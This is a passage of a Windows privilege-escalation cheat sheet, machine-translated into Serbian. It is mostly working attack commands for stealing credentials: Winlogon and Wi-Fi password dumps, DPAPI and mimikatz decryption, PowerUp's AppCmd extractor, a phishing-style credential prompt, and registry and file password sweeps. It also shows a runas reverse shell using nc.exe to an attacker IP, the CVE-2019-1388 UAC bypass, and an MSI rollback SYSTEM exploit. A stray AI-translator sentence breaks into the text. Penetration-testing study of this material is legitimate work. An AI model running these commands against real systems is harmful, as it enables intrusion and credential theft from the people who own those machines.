reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Upravljač akreditiva / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault čuva korisničke akreditive za servere, web-sajtove i druge programe za koje Windows može log in the users automatically. Na prvi pogled, može delovati kao da korisnici mogu sačuvati svoje Facebook, Twitter, Gmail akreditive itd., kako bi se automatski prijavljivali putem pregledača. Ali nije tako.

Windows Vault čuva akreditive koje Windows može automatski koristiti za prijavu korisnika, što znači da bilo koja Windows application that needs credentials to access a resource (server ili web-sajt) can make use of this Credential Manager & Windows Vault i koristi dostavljene akreditive umesto da korisnici stalno unose korisničko ime i lozinku.

Ako aplikacije ne komuniciraju sa Credential Manager, mislim da nije moguće da koriste akreditive za određeni resurs. Dakle, ako vaša aplikacija želi da koristi vault, ona bi na neki način trebalo da communicate with the credential manager and request the credentials for that resource iz podrazumevanog storage vault-a.

Koristite cmdkey da prikažete sačuvane akreditive na mašini.

bash
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Zatim možete koristiti runas sa opcijom /savecred kako biste koristili sačuvane kredencijale. Sledeći primer poziva udaljeni binarni fajl preko SMB share-a.

bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Korišćenje runas sa obezbeđenim skupom kredencijala.

bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Imajte na umu da mimikatz, lazagne, credentialfileview, VaultPasswordView, ili iz Empire Powershells module.

DPAPI

The API za zaštitu podataka (DPAPI) pruža metodu za simetrično šifrovanje podataka, uglavnom korišćenu u Windows operativnom sistemu za simetrično šifrovanje asimetričnih privatnih ključeva. Ovo šifrovanje koristi korisničku ili sistemsku tajnu koja značajno doprinosi entropiji.

DPAPI omogućava šifrovanje ključeva putem simetričnog ključa koji je izveden iz login tajni korisnika. U scenarijima koji uključuju sistemsko šifrovanje, koristi se domen-authentication tajna sistema.

Šifrovani korisnički RSA ključevi, koristeći DPAPI, čuvaju se u direktorijumu %APPDATA%\Microsoft\Protect{SID}, gde {SID} predstavlja korisnikov Security Identifier. DPAPI ključ, smešten zajedno sa master ključem koji čuva privatne ključeve korisnika u istoj datoteci, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, što sprečava listanje njegovog sadržaja putem dir komande u CMD, iako se može listati kroz PowerShell).

bash
Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Možete koristiti mimikatz module dpapi::masterkey sa odgovarajućim argumentima (/pvk ili /rpc) da ga dekriptujete.

credentials files protected by the master password obično se nalaze u:

bash
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Možete koristiti mimikatz module dpapi::cred sa odgovarajućim /masterkey za decrypt.
Možete extract mnoge DPAPI masterkeys iz memory pomoću sekurlsa::dpapi modula (ako ste root).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials se često koriste za scripting i automation zadatke kao praktičan način za čuvanje encrypted credentials. Credentials su zaštićene pomoću DPAPI, što obično znači da ih može decrypt samo isti korisnik na istom računaru na kojem su kreirani.

Da biste decrypt PS credentials iz fajla koji ga sadrži, možete uraditi:

bash
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

bash
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Sačuvane RDP konekcije

Nalaze se u HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
i u HKCU\Software\Microsoft\Terminal Server Client\Servers\

Nedavno pokrenute komande

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Upravljač akreditivima Remote Desktop

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Koristite Mimikatz dpapi::rdg modul sa odgovarajućim /masterkey da biste dekriptovali bilo koje .rdg fajlove
Možete izvući mnoge DPAPI masterkeys iz memorije pomoću Mimikatz sekurlsa::dpapi modula

Sticky Notes

Ljudi često koriste StickyNotes aplikaciju na Windows radnim stanicama da bi sačuvali lozinke i druge informacije, ne shvatajući da je to fajl baze podataka. Ovaj fajl se nalazi na C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite i uvek vredi tražiti i pregledati.

AppCmd.exe

Napomena: da biste povratili lozinke iz AppCmd.exe morate biti Administrator i pokretati ga na High Integrity level.
AppCmd.exe se nalazi u direktorijumu %systemroot%\system32\inetsrv\.\
Ako ovaj fajl postoji, moguće je da su neke credentials konfigurisane i da se mogu recovered.

Ovaj kod je izvučen iz PowerUP:

bash
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Proverite da li C:\Windows\CCM\SCClient.exe postoji .
Instaleri se pokreću sa SYSTEM privileges, mnogi su ranjivi na DLL Sideloading (Informacije sa https://github.com/enjoiz/Privesc).

bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Datoteke i Registry (Credentials)

Putty Creds

bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH host ključevi

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in registry

SSH private keys mogu biti pohranjene unutar registry key HKCU\Software\OpenSSH\Agent\Keys, pa bi trebalo da proverite da li se tamo nalazi nešto interesantno:

bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Ako pronađete bilo koji unos na toj putanji, verovatno je u pitanju sačuvan SSH ključ. Skladišti se enkriptovano, ali se lako dešifruje korišćenjem https://github.com/ropnop/windows_sshagent_extract.
Više informacija o ovoj tehnici ovde: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Ako ssh-agent servis nije pokrenut i želite da se automatski pokreće pri pokretanju sistema, pokrenite:

bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

tip

Izgleda da ova tehnika više nije validna. Pokušao sam da napravim neke ssh keys, dodam ih sa ssh-add i prijavim se preko ssh na mašinu. Registar HKCU\Software\OpenSSH\Agent\Keys ne postoji i procmon nije identifikovao upotrebu dpapi.dll tokom autentikacije pomoću asimetričnih ključeva.

Datoteke bez nadzora

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Takođe možete pretražiti ove datoteke koristeći metasploit: post/windows/gather/enum_unattend

Primer sadržaja:

xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM rezervne kopije

bash
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Kredencijali za cloud

bash
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Potražite fajl pod imenom SiteList.xml

Kešovana GPP lozinka

Ranije je postojala funkcija koja je omogućavala raspoređivanje prilagođenih lokalnih administratorskih naloga na grupu računara putem Group Policy Preferences (GPP). Međutim, ova metoda je imala značajne bezbednosne propuste. Prvo, Group Policy Objects (GPOs), koji su pohranjeni kao XML fajlovi u SYSVOL, mogli su biti pristupljeni od strane bilo kog korisnika domena. Drugo, lozinke u tim GPP-ovima, šifrovane AES256 koristeći javno dokumentovani podrazumevani ključ, mogle su biti dešifrovane od strane bilo kog autentifikovanog korisnika. Ovo je predstavljalo ozbiljan rizik, jer bi korisnicima moglo omogućiti dobijanje povišenih privilegija.

Kako bi se ublažio ovaj rizik, razvijena je funkcija koja skenira lokalno keširane GPP fajlove koji sadrže polje "cpassword" koje nije prazno. Kada pronađe takav fajl, funkcija dešifruje lozinku i vraća prilagođeni PowerShell objekat. Ovaj objekat uključuje detalje o GPP-u i lokaciji fajla, pomažući u identifikaciji i otklanjanju ove bezbednosne ranjivosti.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (pre Windows Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Za dešifrovanje cPassword:

bash
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Korišćenje crackmapexec za dobijanje passwords:

bash
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web konfiguracija

bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Primer web.config fajla sa kredencijalima:

xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN podaci za prijavu

csharp
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logs

bash
# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Tražite credentials

Uvek možete zatražiti od korisnika da unese svoje credentials ili čak credentials drugog korisnika ako mislite da on može da ih zna (imajte u vidu da je traženje od klijenta direktno za credentials zaista rizično):

bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Mogući nazivi fajlova koji sadrže credentials

Poznati fajlovi koji su pre nekog vremena sadržali passwords u clear-text ili Base64

bash
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Ne mogu direktno pretraživati fajlove na vašem računaru ili repozitorijumu. Pošaljite sadržaj fajla(s) koje želite da prevedem (ili listu fajlova/pokretanje tree/URL repozitorijuma), pa ću ih prevesti na srpski uz zadržavanje postojeće markdown i HTML sintakse i pravila koje ste naveli.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Kredencijali u RecycleBin-u

Takođe proverite Bin da biste potražili kredencijale u njemu

Za oporavak lozinki sačuvanih od strane više programa možete koristiti: http://www.nirsoft.net/password_recovery_tools.html

Unutar registra

Ostali mogući ključevi registra sa kredencijalima

bash
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Istorija pregledača

Treba da proverite dbs gde se čuvaju passwords iz Chrome or Firefox.
Takođe proverite istoriju, bookmarks i favourites pregledača — moguće je da su neki passwords are sačuvani tamo.

Alati za izvlačenje passwords iz pregledača:

COM DLL Overwriting

Component Object Model (COM) je tehnologija ugrađena u Windows operativni sistem koja omogućava međusobnu komunikaciju između softverskih komponenti napisanih u različitim jezicima. Svaka COM komponenta je identified via a class ID (CLSID) i svaka komponenta izlaže funkcionalnost putem jedne ili više interfejsa, identifikovanih preko interface IDs (IIDs).

COM klase i interfejsi su definisani u registru pod HKEY\CLASSES\ROOT\CLSID i HKEY\CLASSES\ROOT\Interface respektivno. Ovaj registar se kreira spajanjem HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

U suštini, ako možete overwrite any of the DLLs koje će biti izvršene, mogli biste escalate privileges ako će taj DLL biti izvršen od strane drugog korisnika.

Da biste saznali kako napadači koriste COM Hijacking kao mehanizam za persistenciju, pogledajte:

COM Hijacking

Generička pretraga Password-a u fajlovima i registru

Pretražite sadržaj fajlova

bash
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Pretraži datoteku sa određenim imenom

bash
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Pretražite registry za nazive ključeva i lozinke

bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Alati koji traže lozinke

MSF-Credentials Plugin is a msf plugin. Napravio sam ovaj plugin da automatically execute every metasploit POST module that searches for credentials inside the victim.
Winpeas automatski traži sve fajlove koji sadrže lozinke pomenute na ovoj stranici.
Lazagne je još jedan odličan alat za izvlačenje lozinki iz sistema.

Alat SessionGopher pretražuje sessions, usernames i passwords nekoliko alata koji čuvaju ove podatke u clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)

bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Zamislite da proces koji se izvodi kao SYSTEM otvori novi proces (OpenProcess()) sa full access. Isti proces takođe kreira novi proces (CreateProcess()) sa niskim privilegijama ali koji nasleđuje sve open handles glavnog procesa.
Ako imate full access na nisko privilegovanom procesu, možete dohvatiti open handle ka privilegovanom procesu kreiranom pomoću OpenProcess() i inject a shellcode.
Pročitajte ovaj primer za više informacija o kako otkriti i iskoristiti ovu ranjivost.
Pročitajte ovaj drugi post za potpunije objašnjenje kako testirati i zloupotrebiti više open handlers procesa i thread-ova nasleđenih sa različitim nivoima dozvola (ne samo full access).

Named Pipe Client Impersonation

Segmenti deljene memorije, nazvani pipes, omogućavaju komunikaciju između procesa i prenos podataka.

Windows pruža funkcionalnost zvanu Named Pipes, koja omogućava nepovezanim procesima da dele podatke, čak i preko različitih mreža. Ovo podseća na client/server arhitekturu, sa ulogama definisanim kao named pipe server i named pipe client.

Kada podatke kroz pipe pošalje client, server koji je napravio pipe ima mogućnost da preuzme identitet client-a, pod uslovom da poseduje neophodna prava SeImpersonate. Pronalaženje privilegovanog procesa koji komunicira preko pipe-a koji možete imitirati daje priliku da dobijete više privilegija preuzimanjem identiteta tog procesa kada on stupi u interakciju sa pipe-om koji ste uspostavili. Za uputstva kako izvesti ovakav napad, korisni vodiči su dostupni ovde i ovde.

Takođe, sledeći alat omogućava da intercept-ujete named pipe komunikaciju alatkom kao što je burp: https://github.com/gabriel-sztejnworcel/pipe-intercept a ovaj alat omogućava listanje i pregled svih pipe-ova kako biste našli privescs https://github.com/cyberark/PipeViewer

Ostalo

Ekstenzije fajlova koje mogu izvršavati kod u Windows-u

Pogledajte stranicu https://filesec.io/

Praćenje komandnih linija zbog lozinki

Kada dobijete shell kao korisnik, mogu postojati zakazani zadaci ili drugi procesi koji se izvršavaju i koji prosleđuju kredencijale putem komandne linije. Skripta ispod hvata komandne linije procesa na svake dve sekunde i upoređuje trenutno stanje sa prethodnim, ispisujući sve razlike.

bash
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Krađa lozinki iz procesa

Iz Low Priv User do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Ako imate pristup grafičkom interfejsu (preko console ili RDP) i UAC je omogućen, u nekim verzijama Microsoft Windows moguće je pokrenuti terminal ili bilo koji drugi proces kao "NT\AUTHORITY SYSTEM" iz naloga bez privilegija.

Ovo omogućava eskalaciju privilegija i UAC Bypass istovremeno koristeći istu ranjivost. Pored toga, nema potrebe ništa instalirati, a binarni fajl koji se koristi tokom procesa je potpisan i izdat od strane Microsoft-a.

Neki od pogođenih sistema su sledeći:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Da biste iskoristili ovu ranjivost, potrebno je izvršiti sledeće korake:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Pročitajte ovo da biste saznali o Integrity Levels:

Integrity Levels

Zatim pročitajte ovo da biste saznali o UAC i UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

Tehnika opisana u ovom blog postu in this blog post sa exploit kodom available here.

Napad se u suštini sastoji od zloupotrebe rollback funkcionalnosti Windows Installer-a da zameni legitimne fajlove malicioznim tokom procesa deinstalacije. Za ovo napadaču je potrebno da kreira malicious MSI installer koji će biti iskorišćen za hijack-ovanje C:\Config.Msi foldera, koji će kasnije Windows Installer koristiti za skladištenje rollback fajlova tokom deinstalacije drugih MSI paketa gde su rollback fajlovi modifikovani da sadrže maliciozni payload.

Sažeta tehnika je sledeća:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)
  • Step 1: Install the MSI

  • Kreirajte .msi koji instalira bezopasan fajl (npr. dummy.txt) u writable folder (TARGETDIR).

  • Obeležite installer kao "UAC Compliant", tako da ga non-admin user može pokrenuti.

  • Zadržite otvoren handle ka fajlu nakon instalacije.

  • Step 2: Begin Uninstall

  • Deinstalirajte isti .msi.

  • Proces deinstalacije počinje pomeranje fajlova u C:\Config.Msi i preimenovanje u .rbf fajlove (rollback backup).

  • Poll the open file handle koristeći GetFinalPathNameByHandle da detektujete kada fajl postane C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • .msi uključuje custom uninstall action (SyncOnRbfWritten) koja:

  • Signalizira kada je .rbf napisan.

  • Zatim čeka na drugi event pre nego što nastavi deinstalaciju.

  • Step 4: Block Deletion of .rbf

  • Kada se signal pošalje, otvorite .rbf fajl bez FILE_SHARE_DELETE — ovo sprečava njegovo brisanje.

  • Zatim signalizirajte nazad tako da deinstalacija može da se završi.

  • Windows Installer ne može da obriše .rbf, i pošto ne može da obriše sav sadržaj, C:\Config.Msi se ne briše.

  • Step 5: Manually Delete .rbf

  • Vi (napadač) ručno obrišete .rbf fajl.

  • Sada je C:\Config.Msi prazan, spreman za hijack.

U ovom trenutku, trigger the SYSTEM-level arbitrary folder delete vulnerability da obrišete C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones
  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Ponovo kreirajte C:\Config.Msi folder sami.

  • Postavite weak DACLs (npr. Everyone:F), i zadržite otvoren handle sa WRITE_DAC.

  • Step 7: Run Another Install

  • Instalirajte .msi ponovo, sa:

  • TARGETDIR: Writable lokacija.

  • ERROROUT: Varijabla koja izaziva namerno neuspeh.

  • Ova instalacija će biti korišćena da ponovo pokrene rollback, koji čita .rbs i .rbf.

  • Step 8: Monitor for .rbs

  • Koristite ReadDirectoryChangesW da nadgledate C:\Config.Msi dok se ne pojavi novi .rbs.

  • Uhvatite njegovo ime fajla.

  • Step 9: Sync Before Rollback

  • .msi sadrži custom install action (SyncBeforeRollback) koja:

  • Signalizira event kada je .rbs kreiran.

  • Zatim čeka pre nego što nastavi.

  • Step 10: Reapply Weak ACL

  • Nakon što primite .rbs created event:

  • Windows Installer ponovo primenjuje strong ACLs na C:\Config.Msi.

  • Ali pošto i dalje imate handle sa WRITE_DAC, možete ponovo primeniti weak ACLs.

ACLs su enforced samo pri otvaranju handle-a, tako da i dalje možete pisati u folder.

  • Step 11: Drop Fake .rbs and .rbf

  • Overwrite-ujte .rbs fajl lažnim rollback skriptom koji govori Windows-u da:

  • Restore-uje vaš .rbf fajl (maliciozni DLL) u privileged location (npr. C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Drop-ujte lažni .rbf koji sadrži maliciozni SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Signalizirajte sync event tako da installer nastavi.

  • A type 19 custom action (ErrorOut) je konfigurisana da namerno izazove neuspeh instalacije u poznatoj tački.

  • Ovo uzrokuje da rollback počne.

